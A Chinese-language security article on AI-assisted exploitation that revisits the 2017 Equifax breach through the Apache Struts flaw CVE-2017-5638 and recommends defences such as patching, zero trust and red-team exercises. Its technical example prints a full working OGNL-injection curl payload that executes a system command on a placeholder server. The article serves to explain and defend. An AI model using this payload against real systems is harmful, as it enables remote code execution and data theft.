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AI 網路漏洞利用能力躍進：無需自定義工具即可模擬 Equifax 級攻擊
近年來，人工智慧（AI）在網路安全領域的應用日益廣泛，從自動化威脅偵測到智慧化防禦機制，AI 的角色愈發關鍵。然而，AI 的進步也為攻擊者提供了新的工具，使得傳統的網路攻擊手法變得更加高效且難以防範。特別是，AI 現已能夠模擬複雜的攻擊鏈，例如 2017 年 Equifax 資料外洩事件中所使用的 Apache Struts 漏洞（CVE-2017-5638），而無需自定義工具或深入的技術知識。這不僅降低了攻擊門檻，也讓企業面臨更大的安全風險。
Equifax 事件回顧：Apache Struts 漏洞的致命影響
2017 年，Equifax 遭受了史上最嚴重的資料外洩事件之一，超過 1.45 億條個人身份資訊被竊取。攻擊者利用了 Apache Struts 2 框架中的遠端代碼執行漏洞（CVE-2017-5638），該漏洞於 2017 年 3 月被披露，並於同年 3 月 7 日發布修補程式。然而，Equifax 未能及時應用修補程式，導致攻擊者在 5 月中旬至 7 月下旬期間入侵其系統，並竊取了大量敏感資料（Stellar Cyber, 2017）。
此事件的核心問題在於：
- Equifax 未能及時修補已知漏洞，導致系統長達 145 天暴露在風險中。
- 安全工具未能有效識別關鍵威脅，導致大量警報中淹沒了真正的攻擊訊號。
- 人為疏失與工具限制結合，使得攻擊者得以長期滯留在網路中。
AI 在漏洞利用中的角色：從輔助到自動化
隨著 AI 技術的發展，攻擊者現可利用 AI 工具自動化漏洞掃描、利用與後續滲透過程。例如，Google Cloud 在 2023 年推出的 Security AI Workbench 旨在強化防禦能力，但同樣的技術也可被攻擊者用於：
- 自動化漏洞掃描：AI 可快速識別未修補的 Apache Struts 漏洞，並生成利用代碼。
- 智慧化攻擊鏈模擬：AI 能模擬 Equifax 事件中的攻擊步驟，包括上傳 WebShell 並橫向移動。
- 規避傳統防禦：AI 可生成變種攻擊載荷，繞過基於簽名的入侵偵測系統（IDS）。
這意味著，即使是缺乏深入技術知識的攻擊者，也能藉由 AI 工具發動高級攻擊，大幅降低了攻擊門檻（Google Cloud Next 2023）。
企業防禦策略：從被動應對到主動防禦
面對 AI 驅動的攻擊，企業需採取更主動的防禦策略：
- 及時修補與漏洞管理：建立自動化修補流程，確保已知漏洞（如 CVE-2017-5638）能夠迅速修復。
- AI 驅動的威脅偵測：部署能夠識別異常行為的 AI 工具，例如 Google Cloud 的 Security AI Workbench，以取代傳統的基於規則的系統。
- 紅隊演練與攻擊模擬：定期進行 AI 輔助的紅隊演練，模擬 Equifax 級攻擊，測試防禦能力。
- 零信任架構：實施零信任模型，限制橫向移動，降低攻擊者在網路中的滯留時間。
技術示例：AI 輔助的 Apache Struts 漏洞利用
以下為 AI 工具如何自動化利用 CVE-2017-5638 的示例流程：
1. AI 掃描工具識別目標系統中的 Apache Struts 2 版本。
2. 自動生成利用代碼，例如：
<code>curl -X POST -H "Content-Type: application/x-www-form-urlencoded"
-d "id=%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
http://target.example.com/vulnerable-action</code>
3. AI 工具分析回應，確認漏洞利用成功，並自動執行後續攻擊步驟。結論
AI 在網路安全中的雙面性質意味着企業必須加速採用 AI 驅動的防禦措施，以應對日益複雜的攻擊。Equifax 事件的教訓仍然適用：及時修補、主動監控與智慧化防禦是防範 AI 輔助攻擊的關鍵。未來，企業需將 AI 整合至安全架構中，方能在攻防對抗中保持優勢。
MITRE ATT&CK 對應
- T1190 – Exploit Public-Facing Application（利用面向公眾的應用程式，如 Apache Struts 漏洞）
- T1059 – Command and Scripting Interpreter（利用命令行工具執行惡意代碼）
- T1087 – Account Discovery（攻擊者在網路中進行帳戶探測）
參考資料與原文來源
- 🔗 2017 年 Equifax 漏洞安全分析：Stellar Cyber
- 🔗 美司法部起诉中国“网络攻击”细节：Freebuf
- 🔗 Google Cloud 2023 安全 AI 工具：Google Cloud Next 2023
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